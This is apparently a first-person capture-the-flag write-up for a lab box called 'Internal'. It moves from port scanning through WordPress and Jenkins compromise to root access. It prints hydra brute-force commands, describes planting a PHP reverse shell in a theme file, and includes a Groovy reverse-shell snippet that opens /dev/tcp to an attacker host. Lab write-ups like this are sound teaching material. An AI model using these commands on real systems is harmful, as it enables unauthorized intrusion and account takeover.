Difficulty: Hard

URL: Internal

Intro

Namaste everyone. This is my first writeup. So if there are any mistakes please feel free to reach out to me. Also thanks to TheMayor for creating this box. As a beginer into ctf’s I really enjoyed solving this box.

Before we get started i wanna shed some light into the type of box we are dealing and short description of the attack. To get the user flag you need to exploit the wordpress site running at the specific directory. For root, you need to enumerate, find the local jenkins server bruteforce it and get a shell where you can get info for creds to ssh into root user.


Scanning and Enumeration

Before we begin put internal.thm in your /etc/hosts

After the box is deployed let’s scan the ip to see open ports

nmap -sC -sV -T4 -p- -v -oN nmap/fullscan internal.thm

Here are the open ports:

Nmap scan report for internal.thm (10.10.119.154)
Host is up (0.43s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The box has http and ssh server open.Let’s enumerate port 80 first

- Port 80

Looking at the site its a default apache page

Looking at the page nothing interesting came up so i resorted to my directory bruteforcing. Let’s fireup our gobuster to see the directories of the site

gobuster dir -u http://internal.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobust

There’s a blog directory so let’s see what it contains

Its a wordpress website. Oh yea! it’s a classic hello world page. The first thing that came into mind is to run wpscan to see if there is any vulnerabilites of this wordpress site and enumerate the wordpress site. Its a great tool.

It comes preinstalled if you are using kali otherwise you can clone it from github

wpscan --url internal.thm/blog -e -v

-e means enumerate everything

-v is to verbose output and if you want to save the output you can use -o

Use -h for help

Looking at the results the Wordpress version is 5.4.2 and it found one user admin. We know the username. At this moment i only had a username so lets bruteforce with hydra.

hydra -l admin -P /usr/share/wordlists/rockyou.txt internal.thm -V -f http-form-post '/blog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fi[32/32$
.thm%2Fblog%2Fwp-admin%2F&testcookie=1:S=Location

So it found the password. I don’t want to spoil if you were looking for hints. Let’s login inside /blog/wp-admin


Exploitation

The site is pretty new. Let’s get a reverse shell so we can go deep inside the box. There are multiple ways to get reverse shell but we have the credentials so the one we are using is uploading our malicious code in wp_theme.To get the connection you need to upload the php reverse shell to the site. We can grab the php reverse shell from pentestmonkey.

Go to Apperance>Theme Editor > 404 template > and paste the code there. Replace the ip and port with your attacker ip and open up a listener in your machine.

Update file and browse the following URL to run the injected php code.

http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php

Once inside at first i didn’t looked at all the folders properly. Further looking inside there’s a file in the /opt named wp-save.txt

www-data@internal:/opt$ ls -la
total 16
drwxr-xr-x  3 root root 4096 Aug  3 03:01 .
drwxr-xr-x 24 root root 4096 Aug  3 01:31 ..
drwx--x--x  4 root root 4096 Aug  3 03:01 containerd
-rw-r--r--  1 root root  138 Aug  3 02:46 wp-save.txt
www-data@internal:/opt$

Let’s cat it out

www-data@internal:/opt$ cat wp-save.txt 
Bill,

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.

aubreanna:[REDACTED]
www-data@internal:/opt$

We have two usernames bill and aubreanna . When we were doing nmap there was a ssh port open. The creds is the ssh details for aubreanna

ssh aubreanna@internal.thm

There you go. There’s a user.txt file which contains the first flag

aubreanna@internal:~$ ls
jenkins.txt  snap  user.txt

Privilege Escalation

After enumerating this box i found that it has a internal port 8080 open. It didn’t pop out in our nmap scan becuase it can be accessed only by localhost. We need to pivot to reach to that port.

aubreanna@internal:~$ netstat -ntl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:44727         0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
aubreanna@internal:~$

We can create ssh tunnel and redirect all the traffic but this time i wanted to upload a socat static binary and port forward.

Create a http-server in your attacker machine and use wget to get the binary in the victim machine

Change the permission to executable

chmod +x socat

Let’s port forward

./socat tcp-listen:8000,reuseaddr,fork tcp:localhost:8080

All tcp connections to port 8000 will be redirected to localhost at port 8080. Lets go the internal.thm:8080 in our browser

It’s a jenkins server which is used to integrate and automate your product development and testing processes. But it’s protected with login. I tried default creds and didnt work out. So we have to bruteforce it. Msfconsole has a auxillary to bruteforce it, Since the box mentions it can be solved without metasploit so we will use hydra.

The default username for jenkins is admin . If it won’t work out then we do have other usernames aubreanna, bill to try . For now let’s try with admin

hydra -l admin -P /usr/share/wordlists/rockyou.txt internal.thm -s 8000 -f -V  http-post-form "/j_acegi_security_check:j_usern
ame=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:S=logout"

-s run at specific port

f stop on success

V Verbose every user:pass it tries to login

S: Find whatever in the page after successfully logged in

Let’s login with the obatined creds at jenkins

Once logged in we can generate a reverse shell in multiple ways. One of the ways is from script console which is Manage Jenkins > Script Console

We can put Groovy script and run to execute it. Jenkins supports building Java projects since its inception, and for a reason! It’s both the language Jenkins is written in, plus the language in use . We can easily run a java reverse shell from pentestmonkey and get a connection back.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<ip>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Replace the <ip> and <port> with your attacker ip and port

open a netcat listner and run the above code.

Got a shell back.Yeah!!

run bash -i to get bash shell

Looking into it after sometime i found a file note.txt inside /opt

Aubreanna,

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
need access to the root user account.

root:[REDACTED]

Let’s ssh into root

ssh root@internal.thm

List the files using ls -l

root@internal:~# ls -l
total 8
-rw-r--r-- 1 root root   22 Aug  3 04:13 root.txt
drwxr-xr-x 3 root root 4096 Aug  3 01:41 snap
root@internal:~#

Okay here’s the final flag for the box inside root.txt


Conclusion

Thanks for reading folks! I really enjoyed this box as it required manual enumeration rather than using automated tools for privilege escalation. I will keep posting writeups through this platform in upcoming days.

~ickl0cc